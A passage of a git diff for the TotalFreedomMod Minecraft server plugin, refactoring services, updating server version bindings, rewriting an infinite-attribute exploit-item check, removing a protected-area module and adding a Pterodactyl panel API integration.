     public static final int MAX_DISTANCE_TRAVELED = 100;
 
-    public MovementValidator(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -46,7 +41,7 @@ public class MovementValidator extends FreedomService
     public void onPlayerTeleport(PlayerTeleportEvent event)
     {
         // Check absolute value to account for negatives
-        if (Math.abs(event.getTo().getX()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getZ()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getY()) >= MAX_XYZ_COORD)
+        if (Math.abs(Objects.requireNonNull(event.getTo()).getX()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getZ()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getY()) >= MAX_XYZ_COORD)
         {
             event.setCancelled(true); // illegal position, cancel it
         }
@@ -58,6 +53,7 @@ public class MovementValidator extends FreedomService
         final Player player = event.getPlayer();
         Location from = event.getFrom();
         Location to = event.getTo();
+        assert to != null;
         if (to.getX() >= from.getX() + MAX_DISTANCE_TRAVELED || to.getY() >= from.getY() + MAX_DISTANCE_TRAVELED || to.getZ() >= from.getZ() + MAX_DISTANCE_TRAVELED)
         {
             event.setCancelled(true);
@@ -67,7 +63,7 @@ public class MovementValidator extends FreedomService
         if (Math.abs(event.getTo().getX()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getZ()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getY()) >= MAX_XYZ_COORD)
         {
             event.setCancelled(true);
-            player.teleport(player.getWorld().getSpawnLocation());
+            PaperLib.teleportAsync(player, player.getWorld().getSpawnLocation());
         }
 
         if (exploitItem(event.getPlayer().getInventory().getHelmet()))
@@ -116,7 +112,7 @@ public class MovementValidator extends FreedomService
         // Validate position
         if (Math.abs(player.getLocation().getX()) >= MAX_XYZ_COORD || Math.abs(player.getLocation().getZ()) >= MAX_XYZ_COORD || Math.abs(player.getLocation().getY()) >= MAX_XYZ_COORD)
         {
-            player.teleport(player.getWorld().getSpawnLocation()); // Illegal position, teleport to spawn
+            PaperLib.teleportAsync(player, player.getWorld().getSpawnLocation()); // Illegal position, teleport to spawn
         }
     }
 
@@ -137,56 +133,49 @@ public class MovementValidator extends FreedomService
 
     private Boolean exploitItem(ItemStack item)
     {
-        net.minecraft.server.v1_15_R1.ItemStack nmsStack = CraftItemStack.asNMSCopy(item);
-        NBTTagList modifiers = getAttributeList(nmsStack);
-        MojangsonCompound compound = new MojangsonCompound();
-        boolean foundNegative = false;
-        boolean foundPositive = false;
-        try
+        if (item == null)
         {
-            String mod = modifiers.toString();
-            String fancy = ("{" + (mod.substring(1, mod.length() - 1).replace("{", "").replace("}", "")) + "}");
-            compound.read(fancy);
-            for (String key : compound.keySet())
-            {
-                if (Objects.equals(key, "Amount")) //null-safe .equals()
-                {
-                    List<MojangsonValue> values = compound.get(key);
-                    for (MojangsonValue val : values)
-                    {
-                        if (val.getValue().toString().equals("Infinityd"))
-                        {
-                            foundPositive = true;
-                        }
-                        if (val.getValue().toString().equals("-Infinityd"))
-                        {
-                            foundNegative = true;
-                        }
-                    }
-                }
-            }
-        }
-        catch (MojangsonParseException e)
-        {
-            e.printStackTrace();
-        }
-        return foundNegative && foundPositive;
+            return false;
         }
 
+        ItemMeta meta = item.getItemMeta();
+        if (meta != null)
+        {
+            Multimap<Attribute, AttributeModifier> attributes = meta.getAttributeModifiers();
+            if (attributes != null)
+            {
+                Map<Attribute, Collection<AttributeModifier>> attrMap = attributes.asMap();
 
-    private NBTTagList getAttributeList(net.minecraft.server.v1_15_R1.ItemStack stack)
+                // For every attribute...
+                for (Attribute attr : attributes.keySet())
                 {
-        if (stack.getTag() == null)
+                    // Default values
+                    boolean posInf = false;
+                    boolean negInf = false;
+
+                    // For every AttributeModifier...
+                    for (AttributeModifier modifier : attrMap.get(attr))
                     {
-            stack.setTag(new NBTTagCompound());
+                        // Are they ∞ or -∞?
+                        if (modifier.getAmount() == Double.POSITIVE_INFINITY)
+                        {
+                            posInf = true;
                         }
-        NBTTagList attr = stack.getTag().getList("AttributeModifiers", 10);
-        if (attr == null)
+                        else if (modifier.getAmount() == Double.NEGATIVE_INFINITY)
                         {
-            stack.getTag().set("AttributeModifiers", new NBTTagList());
-        }
-        return stack.getTag().getList("AttributeModifiers", 10);
+                            negInf = true;
                         }
                     }
 
+                    // Are both values set as true?
+                    if (posInf && negInf)
+                    {
+                        return true;
+                    }
+                }
+            }
 
+        }
+        return false;
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/Muter.java

@@ -1,13 +1,11 @@
 package me.totalfreedom.totalfreedommod;
 
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.List;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FSync;
-import org.apache.commons.lang.StringUtils;
 import org.bukkit.ChatColor;
 import org.bukkit.command.Command;
 import org.bukkit.entity.Player;
@@ -20,33 +18,25 @@ import org.bukkit.event.player.PlayerJoinEvent;
 public class Muter extends FreedomService
 {
 
-    public static final List<String> MUTE_COMMANDS = Arrays.asList(StringUtils.split("say,me,msg,tell,reply,mail", ","));
-    public final List<String> MUTED_PLAYERS = new ArrayList();
-
-    public Muter(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
+    public final List<String> MUTED_PLAYERS = new ArrayList<>();
 
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
-    @EventHandler(priority = EventPriority.LOW)
+    @EventHandler(priority = EventPriority.HIGHEST)
     public void onAsyncPlayerChatEvent(AsyncPlayerChatEvent event)
     {
         Player player = event.getPlayer();
 
         FPlayer fPlayer = plugin.pl.getPlayerSync(player);
 
-        FLog.info("checking mute");
-
         if (!fPlayer.isMuted())
         {
             return;
@@ -95,7 +85,7 @@ public class Muter extends FreedomService
             cmdName = command.getName().toLowerCase();
         }
 
-        if (MUTE_COMMANDS.contains(cmdName))
+        if (ConfigEntry.MUTED_BLOCKED_COMMANDS.getStringList().contains(cmdName))
         {
             player.sendMessage(ChatColor.RED + "That command is blocked while you are muted.");
             event.setCancelled(true);
@@ -120,6 +110,4 @@ public class Muter extends FreedomService
             playerdata.setMuted(true);
         }
     }
-
-
 }

src/main/java/me/totalfreedom/totalfreedommod/Orbiter.java

@@ -9,19 +9,13 @@ import org.bukkit.util.Vector;
 
 public class Orbiter extends FreedomService
 {
-
-    public Orbiter(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 

src/main/java/me/totalfreedom/totalfreedommod/ProtectArea.java

@@ -1,397 +0,0 @@
-package me.totalfreedom.totalfreedommod;
-
-import com.google.common.collect.Maps;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.ObjectInputStream;
-import java.io.ObjectOutputStream;
-import java.io.Serializable;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.Map;
-import java.util.Set;
-import java.util.UUID;
-import me.totalfreedom.totalfreedommod.config.ConfigEntry;
-import me.totalfreedom.totalfreedommod.util.FLog;
-import org.bukkit.Bukkit;
-import org.bukkit.Location;
-import org.bukkit.World;
-import org.bukkit.entity.Player;
-import org.bukkit.event.EventHandler;
-import org.bukkit.event.EventPriority;
-import org.bukkit.event.block.BlockBreakEvent;
-import org.bukkit.event.block.BlockPlaceEvent;
-import org.bukkit.util.Vector;
-
-public class ProtectArea extends FreedomService
-{
-
-    public static final String DATA_FILENAME = "protectedareas.dat";
-    public static final double MAX_RADIUS = 50.0;
-    //
-    private final Map<String, SerializableProtectedRegion> areas = Maps.newHashMap();
-
-    public ProtectArea(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
-    @Override
-    protected void onStart()
-    {
-        if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
-        {
-            return;
-        }
-
-        File input = new File(plugin.getDataFolder(), DATA_FILENAME);
-        try
-        {
-            if (input.exists())
-            {
-                FileInputStream fis = new FileInputStream(input);
-                ObjectInputStream ois = new ObjectInputStream(fis);
-                areas.clear();
-                areas.putAll((HashMap<String, SerializableProtectedRegion>)ois.readObject());
-                ois.close();
-                fis.close();
-            }
-        }
-        catch (Exception ex)
-        {
-            input.delete();
-            FLog.severe(ex);
-        }
-
-        cleanProtectedAreas();
-    }
-
-    @Override
-    protected void onStop()
-    {
-        save();
-    }
-
-    public void save()
-    {
-        try
-        {
-            FileOutputStream fos = new FileOutputStream(new File(plugin.getDataFolder(), DATA_FILENAME));
-            ObjectOutputStream oos = new ObjectOutputStream(fos);
-            oos.writeObject(areas);
-            oos.close();
-            fos.close();
-        }
-        catch (Exception ex)
-        {
-            FLog.severe(ex);
-        }
-    }
-
-    @EventHandler(priority = EventPriority.NORMAL)
-    public void onBlockBreak(BlockBreakEvent event)
-    {
-        if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
-        {
-            return;
-        }
-
-        final Player player = event.getPlayer();
-        if (plugin.al.isAdmin(player))
-        {
-            return;
-        }
-
-        final Location location = event.getBlock().getLocation();
-
-        if (isInProtectedArea(location))
-        {
-            event.setCancelled(true);
-        }
-    }
-
-    @EventHandler(priority = EventPriority.NORMAL)
-    public void onBlockPlace(BlockPlaceEvent event)
-    {
-        if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
-        {
-            return;
-        }
-
-        final Player player = event.getPlayer();
-        if (plugin.al.isAdmin(player))
-        {
-            return;
-        }
-
-        final Location location = event.getBlock().getLocation();
-
-        if (isInProtectedArea(location))
-        {
-            event.setCancelled(true);
-        }
-    }
-
-    public boolean isInProtectedArea(final Location modifyLocation)
-    {
-        boolean doSave = false;
-        boolean inProtectedArea = false;
-
-        final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
-
-        while (it.hasNext())
-        {
-            final SerializableProtectedRegion region = it.next().getValue();
-
-            Location regionCenter = null;
-            try
-            {
-                regionCenter = region.getLocation();
-            }
-            catch (SerializableProtectedRegion.CantFindWorldException ex)
-            {
-                it.remove();
-                doSave = true;
-                continue;
-            }
-
-            if (regionCenter != null)
-            {
-                if (modifyLocation.getWorld() == regionCenter.getWorld())
-                {
-                    final double regionRadius = region.getRadius();
-                    if (modifyLocation.distanceSquared(regionCenter) <= (regionRadius * regionRadius))
-                    {
-                        inProtectedArea = true;
-                        break;
-                    }
-                }
-            }
-        }
-
-        if (doSave)
-        {
-            save();
-        }
-
-        return inProtectedArea;
-    }
-
-    public boolean isInProtectedArea(final Vector min, final Vector max, final String worldName)
-    {
-        boolean doSave = false;
-        boolean inProtectedArea = false;
-
-        final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
-
-        while (it.hasNext())
-        {
-            final SerializableProtectedRegion region = it.next().getValue();
-
-            Location regionCenter = null;
-            try
-            {
-                regionCenter = region.getLocation();
-            }
-            catch (SerializableProtectedRegion.CantFindWorldException ex)
-            {
-                it.remove();
-                doSave = true;
-                continue;
-            }
-
-            if (regionCenter != null)
-            {
-                if (worldName.equals(regionCenter.getWorld().getName()))
-                {
-                    if (cubeIntersectsSphere(min, max, regionCenter.toVector(), region.getRadius()))
-                    {
-                        inProtectedArea = true;
-                        break;
-                    }
-                }
-            }
-        }
-
-        if (doSave)
-        {
-            save();
-        }
-
-        return inProtectedArea;
-    }
-
-    private boolean cubeIntersectsSphere(Vector min, Vector max, Vector sphere, double radius)
-    {
-        double d = square(radius);
-
-        if (sphere.getX() < min.getX())
-        {
-            d -= square(sphere.getX() - min.getX());
-        }
-        else if (sphere.getX() > max.getX())
-        {
-            d -= square(sphere.getX() - max.getX());
-        }
-        if (sphere.getY() < min.getY())
-        {
-            d -= square(sphere.getY() - min.getY());
-        }
-        else if (sphere.getY() > max.getY())
-        {
-            d -= square(sphere.getY() - max.getY());
-        }
-        if (sphere.getZ() < min.getZ())
-        {
-            d -= square(sphere.getZ() - min.getZ());
-        }
-        else if (sphere.getZ() > max.getZ())
-        {
-            d -= square(sphere.getZ() - max.getZ());
-        }
-
-        return d > 0;
-    }
-
-    private double square(double v)
-    {
-        return v * v;
-    }
-
-    public void addProtectedArea(String label, Location location, double radius)
-    {
-        areas.put(label.toLowerCase(), new SerializableProtectedRegion(location, radius));
-        save();
-    }
-
-    public void removeProtectedArea(String label)
-    {
-        areas.remove(label.toLowerCase());
-        save();
-    }
-
-    public void clearProtectedAreas()
-    {
-        clearProtectedAreas(true);
-    }
-
-    public void clearProtectedAreas(boolean createSpawnpointProtectedAreas)
-    {
-        areas.clear();
-
-        if (createSpawnpointProtectedAreas)
-        {
-            autoAddSpawnpoints();
-        }
-
-        save();
-    }
-
-    public void cleanProtectedAreas()
-    {
-        boolean doSave = false;
-
-        final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
-
-        while (it.hasNext())
-        {
-            try
-            {
-                it.next().getValue().getLocation();
-            }
-            catch (SerializableProtectedRegion.CantFindWorldException ex)
-            {
-                it.remove();
-                doSave = true;
-            }
-        }
-
-        if (doSave)
-        {
-            save();
-        }
-    }
-
-    public Set<String> getProtectedAreaLabels()
-    {
-        return areas.keySet();
-    }
-
-    public void autoAddSpawnpoints()
-    {
-        if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
-        {
-            return;
-        }
-
-        if (ConfigEntry.PROTECTAREA_SPAWNPOINTS.getBoolean())
-        {
-            for (World world : Bukkit.getWorlds())
-            {
-                addProtectedArea("spawn_" + world.getName(), world.getSpawnLocation(), ConfigEntry.PROTECTAREA_RADIUS.getDouble());
-            }
-        }
-    }
-
-    public static class SerializableProtectedRegion implements Serializable
-    {
-
-        private static final long serialVersionUID = 213123517828282L;
-        private final double x, y, z;
-        private final double radius;
-        private final String worldName;
-        private final UUID worldUUID;
-        private transient Location location = null;
-
-        public SerializableProtectedRegion(final Location location, final double radius)
-        {
-            this.x = location.getX();
-            this.y = location.getY();
-            this.z = location.getZ();
-            this.radius = radius;
-            this.worldName = location.getWorld().getName();
-            this.worldUUID = location.getWorld().getUID();
-            this.location = location;
-        }
-
-        public Location getLocation() throws CantFindWorldException
-        {
-            if (this.location == null)
-            {
-                World world = Bukkit.getWorld(this.worldUUID);
-
-                if (world == null)
-                {
-                    world = Bukkit.getWorld(this.worldName);
-                }
-
-                if (world == null)
-                {
-                    throw new CantFindWorldException("Can't find world " + this.worldName + ", UUID: " + this.worldUUID.toString());
-                }
-
-                location = new Location(world, x, y, z);
-            }
-            return this.location;
-        }
-
-        public double getRadius()
-        {
-            return radius;
-        }
-
-        public class CantFindWorldException extends Exception
-        {
-
-            private static final long serialVersionUID = 1L;
-
-            public CantFindWorldException(String string)
-            {
-                super(string);
-            }
-        }
-
-    }
-
-}

src/main/java/me/totalfreedom/totalfreedommod/Pterodactyl.java

@@ -0,0 +1,214 @@
+package me.totalfreedom.totalfreedommod;
+
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.List;
+import joptsimple.internal.Strings;
+import me.totalfreedom.totalfreedommod.admin.Admin;
+import me.totalfreedom.totalfreedommod.config.ConfigEntry;
+import me.totalfreedom.totalfreedommod.rank.Rank;
+import me.totalfreedom.totalfreedommod.util.FLog;
+import me.totalfreedom.totalfreedommod.util.FUtil;
+import me.totalfreedom.totalfreedommod.util.Response;
+import org.json.simple.JSONObject;
+import org.json.simple.parser.ParseException;
+
+public class Pterodactyl extends FreedomService
+{
+
+    public final String URL = ConfigEntry.PTERO_URL.getString();
+    private final String SERVER_KEY = ConfigEntry.PTERO_SERVER_KEY.getString();
+    private final String ADMIN_KEY = ConfigEntry.PTERO_ADMIN_KEY.getString();
+    private final List<String> SERVER_HEADERS = Arrays.asList("Accept:Application/vnd.pterodactyl.v1+json", "Content-Type:application/json", "Authorization:Bearer " + SERVER_KEY);
+    private final List<String> ADMIN_HEADERS = Arrays.asList("Accept:Application/vnd.pterodactyl.v1+json", "Content-Type:application/json", "Authorization:Bearer " + ADMIN_KEY);
+
+    private boolean enabled = !Strings.isNullOrEmpty(URL);
+
+    public void onStart()
+    {
+    }
+
+    public void onStop()
+    {
+    }
+
+    public void updateAccountStatus(Admin admin)
+    {
+        String id = admin.getPteroID();
+
+        if (Strings.isNullOrEmpty(id) || !enabled)
+        {
+            return;
+        }
+
+        if (!admin.isActive() || admin.getRank() != Rank.SENIOR_ADMIN)
+        {
+            FLog.debug("Disabling ptero acc");
+            removeAccountFromServer(id);
+            return;
+        }
+
+        FLog.debug("Enabling ptero acc");
+        addAccountToServer(id);
+    }
+
+    @SuppressWarnings("unchecked")
+    public String createAccount(String username, String password)
+    {
+        JSONObject json = new JSONObject();
+        json.put("username", username);
+        json.put("password", password);
+        json.put("email", username.toLowerCase() + "@" + ConfigEntry.PTERO_DEFAULT_EMAIL_DOMAIN.getString());
+        json.put("first_name", username);
+        json.put("last_name", "\u200E"); // required, so I made it appear empty
+
+        Response response;
+        JSONObject jsonResponse;
+        try
+        {
+            response = FUtil.sendRequest(URL + "/api/application/users", "POST", ADMIN_HEADERS, json.toJSONString());
+            jsonResponse = response.getJSONMessage();
+        }
+        catch (IOException | ParseException e)
+        {
+            FLog.severe(e);
+            return null;
+        }
+
+        return ((JSONObject)jsonResponse.get("attributes")).get("id").toString();
+
+    }
+
+    public boolean deleteAccount(String id)
+    {
+        JSONObject json = new JSONObject();
+        try
+        {
+            return FUtil.sendRequest(URL + "/api/application/users/" + id, "DELETE", ADMIN_HEADERS, json.toJSONString()).getCode() == 204;
+        }
+        catch (IOException e)
+        {
+            FLog.severe(e);
+            return false;
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    public void addAccountToServer(String id)
+    {
+        String url = URL + "/api/client/servers/" + ConfigEntry.PTERO_SERVER_UUID.getString() + "/users";
+
+        JSONObject userData = getUserData(id);
+        if (userData == null)
+        {
+            FLog.severe("The Pterodactyl user with the ID of " + id + " was not found");
+            return;
+        }
+
+        JSONObject json = new JSONObject();
+        json.put("email", userData.get("email").toString());
+        json.put("permissions", Arrays.asList("control.console", "control.start", "control.restart", "control.stop", "control.kill"));
+
+        try
+        {
+            FUtil.sendRequest(url, "POST", SERVER_HEADERS, json.toJSONString());
+        }
+        catch (IOException e)
+        {
+            FLog.severe(e);
+        }
+    }
+
+    public void removeAccountFromServer(String id)
+    {
+        JSONObject userData = getUserData(id);
+        if (userData == null)
+        {
+            FLog.severe("The Pterodactyl user with the ID of " + id + " was not found");
+            return;
+        }
+
+        String url = URL + "/api/client/servers/" + ConfigEntry.PTERO_SERVER_UUID.getString() + "/users/" + userData.get("uuid");
+
+        try
+        {
+            FUtil.sendRequest(url, "DELETE", SERVER_HEADERS, null);
+        }
+        catch (IOException e)
+        {
+            FLog.severe(e);
+        }
+    }
+
+    public JSONObject getUserData(String id)
+    {
+        Response response;
+        JSONObject jsonResponse;
+        try
+        {
+            response = FUtil.sendRequest(URL + "/api/application/users/" + id, "GET", ADMIN_HEADERS, null);
+            jsonResponse = response.getJSONMessage();
+
+        }
+        catch (IOException | ParseException e)
+        {
+            FLog.severe(e);
+            return null;
+        }
+
+        return (JSONObject)jsonResponse.get("attributes");
+
+    }
+
+    // API patch function on users doesnt work rn, it throws 500 errors, so it's probably not written yet
+    @SuppressWarnings("unchecked")
+    public void setPassword(String id, String password)
+    {
+        JSONObject json = new JSONObject();
+        json.put("password", password);
+
+        try
+        {
+            FUtil.sendRequest(URL + "/api/application/users/" + id, "PATCH", ADMIN_HEADERS, json.toJSONString());
+        }
+        catch (IOException e)
+        {
+            FLog.severe(e);
+        }
+    }
+
+    public String getURL()
+    {
+        return URL;
+    }
+
+    public String getServerKey()
+    {
+        return SERVER_KEY;
+    }
+
+    public String getAdminKey()
+    {
+        return ADMIN_KEY;
+    }
+
+    public List<String> getServerHeaders()
+    {
+        return SERVER_HEADERS;
+    }
+
+    public List<String> getAdminHeaders()
+    {
+        return ADMIN_HEADERS;
+    }
+
+    public boolean isEnabled()
+    {
+        return enabled;
+    }
+
+    public void setEnabled(boolean enabled)
+    {
+        this.enabled = enabled;
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/SavedFlags.java

@@ -12,19 +12,13 @@ import static me.totalfreedom.totalfreedommod.util.FUtil.SAVED_FLAGS_FILENAME;
 
 public class SavedFlags extends FreedomService
 {
-
-    public SavedFlags(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -32,8 +26,8 @@ public class SavedFlags extends FreedomService
     public Map<String, Boolean> getSavedFlags()
     {
         Map<String, Boolean> flags = null;
+        File input = new File(TotalFreedomMod.getPlugin().getDataFolder(), SAVED_FLAGS_FILENAME);
 
-        File input = new File(TotalFreedomMod.plugin().getDataFolder(), SAVED_FLAGS_FILENAME);
         if (input.exists())
         {
             try

src/main/java/me/totalfreedom/totalfreedommod/ServerInterface.java

@@ -4,30 +4,14 @@ import java.util.Arrays;
 import java.util.List;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.minecraft.server.v1_15_R1.EntityPlayer;
-import net.minecraft.server.v1_15_R1.MinecraftServer;
+import net.minecraft.server.v1_16_R3.EntityPlayer;
+import net.minecraft.server.v1_16_R3.MinecraftServer;
 import org.bukkit.Bukkit;
-import org.bukkit.craftbukkit.v1_15_R1.CraftServer;
+import org.bukkit.craftbukkit.v1_16_R3.CraftServer;
 
 public class ServerInterface extends FreedomService
 {
-
-    public static final String COMPILE_NMS_VERSION = "v1_15_R1";
-
-    public ServerInterface(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
-    @Override
-    protected void onStart()
-    {
-    }
-
-    @Override
-    protected void onStop()
-    {
-    }
+    public static final String COMPILE_NMS_VERSION = "v1_16_R3";
 
     public static void warnVersion()
     {
@@ -40,6 +24,16 @@ public class ServerInterface extends FreedomService
         }
     }
 
+    @Override
+    public void onStart()
+    {
+    }
+
+    @Override
+    public void onStop()
+    {
+    }
+
     public void setOnlineMode(boolean mode)
     {
         getServer().setOnlineMode(mode);

src/main/java/me/totalfreedom/totalfreedommod/ServerPing.java

@@ -9,19 +9,13 @@ import org.bukkit.event.server.ServerListPingEvent;
 
 public class ServerPing extends FreedomService
 {
-
-    public ServerPing(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -79,5 +73,4 @@ public class ServerPing extends FreedomService
 
         event.setMotd(motd.toString().trim());
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/Sitter.java

@@ -0,0 +1,34 @@
+package me.totalfreedom.totalfreedommod;
+
+import me.totalfreedom.totalfreedommod.command.Command_sit;
+import org.bukkit.entity.ArmorStand;
+import org.bukkit.entity.Entity;
+import org.bukkit.event.EventHandler;
+import org.spigotmc.event.entity.EntityDismountEvent;
+
+public class Sitter extends FreedomService
+{
+    @Override
+    public void onStart()
+    {
+    }
+
+    @Override
+    public void onStop()
+    {
+    }
+
+    @EventHandler
+    public void onEntityDismount(EntityDismountEvent e)
+    {
+        Entity dm = e.getDismounted();
+        if (dm instanceof ArmorStand)
+        {
+            if (Command_sit.STANDS.contains(dm))
+            {
+                Command_sit.STANDS.remove(dm);
+                dm.remove();
+            }
+        }
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/TotalFreedomMod.java

@@ -6,7 +6,7 @@ import java.util.Properties;
 import me.totalfreedom.totalfreedommod.admin.ActivityLog;
 import me.totalfreedom.totalfreedommod.admin.AdminList;
 import me.totalfreedom.totalfreedommod.banning.BanManager;
-import me.totalfreedom.totalfreedommod.banning.PermbanList;
+import me.totalfreedom.totalfreedommod.banning.IndefiniteBanList;
 import me.totalfreedom.totalfreedommod.blocking.BlockBlocker;
 import me.totalfreedom.totalfreedommod.blocking.EditBlocker;
 import me.totalfreedom.totalfreedommod.blocking.EventBlocker;
@@ -20,6 +20,7 @@ import me.totalfreedom.totalfreedommod.bridge.BukkitTelnetBridge;
 import me.totalfreedom.totalfreedommod.bridge.CoreProtectBridge;
 import me.totalfreedom.totalfreedommod.bridge.EssentialsBridge;
 import me.totalfreedom.totalfreedommod.bridge.LibsDisguisesBridge;
+import me.totalfreedom.totalfreedommod.bridge.TFGuildsBridge;
 import me.totalfreedom.totalfreedommod.bridge.WorldEditBridge;
 import me.totalfreedom.totalfreedommod.bridge.WorldGuardBridge;
 import me.totalfreedom.totalfreedommod.caging.Cager;
@@ -27,55 +28,52 @@ import me.totalfreedom.totalfreedommod.command.CommandLoader;
 import me.totalfreedom.totalfreedommod.config.MainConfig;
 import me.totalfreedom.totalfreedommod.discord.Discord;
 import me.totalfreedom.totalfreedommod.freeze.Freezer;
-import me.totalfreedom.totalfreedommod.fun.CurseListener;
 import me.totalfreedom.totalfreedommod.fun.ItemFun;
 import me.totalfreedom.totalfreedommod.fun.Jumppads;
 import me.totalfreedom.totalfreedommod.fun.Landminer;
 import me.totalfreedom.totalfreedommod.fun.MP44;
-import me.totalfreedom.totalfreedommod.fun.MobStacker;
-import me.totalfreedom.totalfreedommod.fun.RealTimer;
 import me.totalfreedom.totalfreedommod.fun.Trailer;
 import me.totalfreedom.totalfreedommod.httpd.HTTPDaemon;
-import me.totalfreedom.totalfreedommod.masterbuilder.MasterBuilder;
-import me.totalfreedom.totalfreedommod.masterbuilder.MasterBuilderList;
-import me.totalfreedom.totalfreedommod.world.WorldRestrictions;
 import me.totalfreedom.totalfreedommod.permissions.PermissionConfig;
 import me.totalfreedom.totalfreedommod.permissions.PermissionManager;
 import me.totalfreedom.totalfreedommod.player.PlayerList;
-import me.totalfreedom.totalfreedommod.playerverification.PlayerVerification;
 import me.totalfreedom.totalfreedommod.punishments.PunishmentList;
 import me.totalfreedom.totalfreedommod.rank.RankManager;
 import me.totalfreedom.totalfreedommod.shop.Shop;
+import me.totalfreedom.totalfreedommod.shop.Votifier;
 import me.totalfreedom.totalfreedommod.sql.SQLite;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import me.totalfreedom.totalfreedommod.util.MethodTimer;
 import me.totalfreedom.totalfreedommod.world.CleanroomChunkGenerator;
 import me.totalfreedom.totalfreedommod.world.WorldManager;
-import net.pravian.aero.component.service.ServiceManager;
-import net.pravian.aero.plugin.AeroPlugin;
-import org.bstats.Metrics;
+import me.totalfreedom.totalfreedommod.world.WorldRestrictions;
+import org.bstats.bukkit.Metrics;
 import org.bukkit.Bukkit;
 import org.bukkit.generator.ChunkGenerator;
 import org.bukkit.plugin.Plugin;
-import org.bukkit.scheduler.BukkitRunnable;
+import org.bukkit.plugin.java.JavaPlugin;
+import org.jetbrains.annotations.NotNull;
 import org.spigotmc.SpigotConfig;
 
-public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
+public class TotalFreedomMod extends JavaPlugin
 {
-
     public static final String CONFIG_FILENAME = "config.yml";
     //
     public static final BuildProperties build = new BuildProperties();
     //
     public static String pluginName;
     public static String pluginVersion;
+    private static TotalFreedomMod plugin;
     //
     public MainConfig config;
     public PermissionConfig permissions;
     //
+    // Service Handler
+    public FreedomServiceHandler fsh;
+    // Command Loader
+    public CommandLoader cl;
     // Services
-    public ServiceManager<TotalFreedomMod> services;
     public ServerInterface si;
     public SavedFlags sf;
     public WorldManager wm;
@@ -83,7 +81,6 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
     public AdminList al;
     public ActivityLog acl;
     public RankManager rm;
-    public CommandLoader cl;
     public CommandBlocker cb;
     public EventBlocker eb;
     public BlockBlocker bb;
@@ -95,15 +92,15 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
     public AntiSpam as;
     public PlayerList pl;
     public Shop sh;
+    public Votifier vo;
     public SQLite sql;
     public Announcer an;
     public ChatManager cm;
     public Discord dc;
     public PunishmentList pul;
     public BanManager bm;
-    public PermbanList pm;
+    public IndefiniteBanList im;
     public PermissionManager pem;
-    public ProtectArea pa;
     public GameRuleHandler gr;
     public CommandSpy cs;
     public Cager ca;
@@ -118,45 +115,60 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
     public Monitors mo;
     public MovementValidator mv;
     public ServerPing sp;
-    public CurseListener cul;
     public ItemFun it;
     public Landminer lm;
-    public MobStacker ms;
     public MP44 mp;
     public Jumppads jp;
     public Trailer tr;
     public HTTPDaemon hd;
-    public MasterBuilderList mbl;
     public WorldRestrictions wr;
     public SignBlocker snp;
-    public PlayerVerification pv;
     public EntityWiper ew;
-    public RealTimer rt;
-    //public HubWorldRestrictions hwr;
+    public Sitter st;
+    public VanishHandler vh;
+    public Pterodactyl ptero;
     //
     // Bridges
-    public ServiceManager<TotalFreedomMod> bridges;
     public BukkitTelnetBridge btb;
     public EssentialsBridge esb;
     public LibsDisguisesBridge ldb;
     public CoreProtectBridge cpb;
+    public TFGuildsBridge tfg;
     public WorldEditBridge web;
     public WorldGuardBridge wgb;
 
-    @Override
-    public void load()
+    public static TotalFreedomMod getPlugin()
     {
+        return plugin;
+    }
+
+    public static TotalFreedomMod plugin()
+    {
+        for (Plugin plugin : Bukkit.getPluginManager().getPlugins())
+        {
+            if (plugin.getName().equalsIgnoreCase(pluginName))
+            {
+                return (TotalFreedomMod)plugin;
+            }
+        }
+        return null;
+    }
+
+    @Override
+    public void onLoad()
